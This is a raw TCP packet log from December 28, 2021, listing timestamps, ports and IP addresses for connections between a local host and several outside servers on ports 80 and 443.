Dec 28, 2021 05:19:38.773431063 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.773468018 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.773488045 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.773521900 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.774391890 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.774430990 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.774482012 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.774504900 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.774524927 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.774636984 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.774672985 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.774717093 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.774738073 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.774754047 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.774790049 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.776135921 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.776174068 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.776221991 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.776242018 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.776256084 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.776293993 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.776355028 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.776407957 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.776447058 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.776463985 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.776484013 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.776526928 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.778639078 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.778676033 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.778733969 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.778755903 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.778775930 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.778868914 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.778879881 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.778896093 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.778940916 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.778953075 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.778974056 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.778980970 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.779038906 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.779059887 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.780606985 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.780646086 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.780705929 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.780729055 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.780755043 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.780829906 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.782288074 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.782325983 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.782417059 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.782444000 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.782461882 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.782717943 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.782754898 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.782793045 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.782824993 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.782844067 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.782881975 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.784698009 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.784734964 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.784782887 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.784811020 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.784826994 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.784962893 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.785001040 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.785039902 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.785075903 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.785094023 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.785146952 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.786509037 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.786545992 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.786613941 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.786636114 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.786652088 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.786700964 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.798157930 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.798206091 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.798252106 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.798271894 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.798315048 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.798330069 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.798456907 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.798501015 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.798546076 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.798562050 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.798579931 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.799040079 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.799552917 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.799592018 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.799627066 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.799642086 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.799690962 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.799698114 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.801106930 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.801147938 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.801192999 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.801212072 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.801251888 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.801259995 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.802244902 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.802285910 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.802330017 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.802346945 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.802361012 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.802434921 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.802644014 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.802680969 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.802719116 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.802736998 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.802764893 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.802825928 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.803994894 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.804052114 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.804090977 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.804102898 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.804133892 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.804152012 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.805006027 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.805043936 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.805103064 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.805115938 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.805140972 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.805160999 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.805814028 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.805882931 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.805902958 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.805912971 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.805939913 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.805953026 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.805998087 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.807761908 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.826888084 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.826917887 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.826941967 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.826953888 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:39.669922113 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:39.670047045 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:39.670089006 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:39.732937098 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:40.612240076 CET	49842	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:40.682615995 CET	80	49842	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:40.682801008 CET	49842	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:40.682996035 CET	49842	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:40.683301926 CET	49842	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:40.753366947 CET	80	49842	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:40.753421068 CET	80	49842	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:40.800750017 CET	80	49842	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:40.801054001 CET	49842	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:40.801218987 CET	49842	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:40.843971968 CET	49844	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:40.871459961 CET	80	49842	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:40.910509109 CET	80	49844	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:40.910665989 CET	49844	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:40.910731077 CET	49844	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:40.910748959 CET	49844	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:40.977318048 CET	80	49844	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:41.026969910 CET	80	49844	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:41.030102968 CET	49844	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:41.030239105 CET	49844	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:41.059140921 CET	49845	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:41.096683979 CET	80	49844	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:41.126744032 CET	80	49845	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:41.126884937 CET	49845	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:41.126991987 CET	49845	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:41.127016068 CET	49845	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:41.194448948 CET	80	49845	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:41.257899046 CET	80	49845	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:41.258006096 CET	49845	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:41.258280993 CET	49845	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:41.306521893 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.306562901 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.306749105 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.307037115 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.307059050 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.325826883 CET	80	49845	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:41.346395016 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.346529007 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.348237991 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.348249912 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.348649979 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.349534988 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.392961979 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.394917965 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.395078897 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.395159960 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.395191908 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.395210981 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.395277023 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.395325899 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.395452023 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.395508051 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.395519972 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.395625114 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.395680904 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.395693064 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.395793915 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.395847082 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.395859003 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.395957947 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.396012068 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.396024942 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.396095991 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.396152020 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.396163940 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.396233082 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.396282911 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.396295071 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.396375895 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.396431923 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.396445036 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.396514893 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.396569014 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.396580935 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.396651983 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.396702051 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.396713972 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.396785975 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.396838903 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.396872997 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.396975040 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.397032022 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.397044897 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.397115946 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.397166967 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.397180080 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.397250891 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.397303104 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.397316933 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.397403955 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.397459030 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.397473097 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.397490025 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.397547960 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.397569895 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.397658110 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.397713900 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.397727013 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.397797108 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.397855043 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.397893906 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.397906065 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.397958994 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.397972107 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.398077965 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.398164034 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.398178101 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.412380934 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.412467003 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.412488937 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.412554979 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.412590981 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.412662029 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.412687063 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.412760973 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.412808895 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.412879944 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.412940979 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.413007975 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.413038015 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.413114071 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.413145065 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.413218975 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.413261890 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.413336039 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.413372993 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.413439989 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.413469076 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.413543940 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.413562059 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.413578987 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.413629055 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.413670063 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.413741112 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.413752079 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.413769960 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.413825035 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.415361881 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.415740013 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.430088997 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.430177927 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.430198908 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.430217981 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.430260897 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.430339098 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.430402994 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.430417061 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.430448055 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.430519104 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.430531025 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.430557013 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.430619955 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.430633068 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.430670023 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.430716991 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.430728912 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.430746078 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.430820942 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.430882931 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.430896044 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.430933952 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.430999994 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.431013107 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.431042910 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.431124926 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.431138039 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.431166887 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.431236029 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.431247950 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.431288004 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.431355953 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.431369066 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.431407928 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.431467056 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.431479931 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.431515932 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.431575060 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.431586981 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.431623936 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.431682110 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.431694031 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.431752920 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.431827068 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.431838989 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.431900024 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.431972027 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.431983948 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.432027102 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.432087898 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.432100058 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.432168007 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.432233095 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.432244062 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.432295084 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.432359934 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.432370901 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.432419062 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.432481050 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.432492971 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.432523012 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.432583094 CET	49847	443	192.168.2.3	162.159.134.233
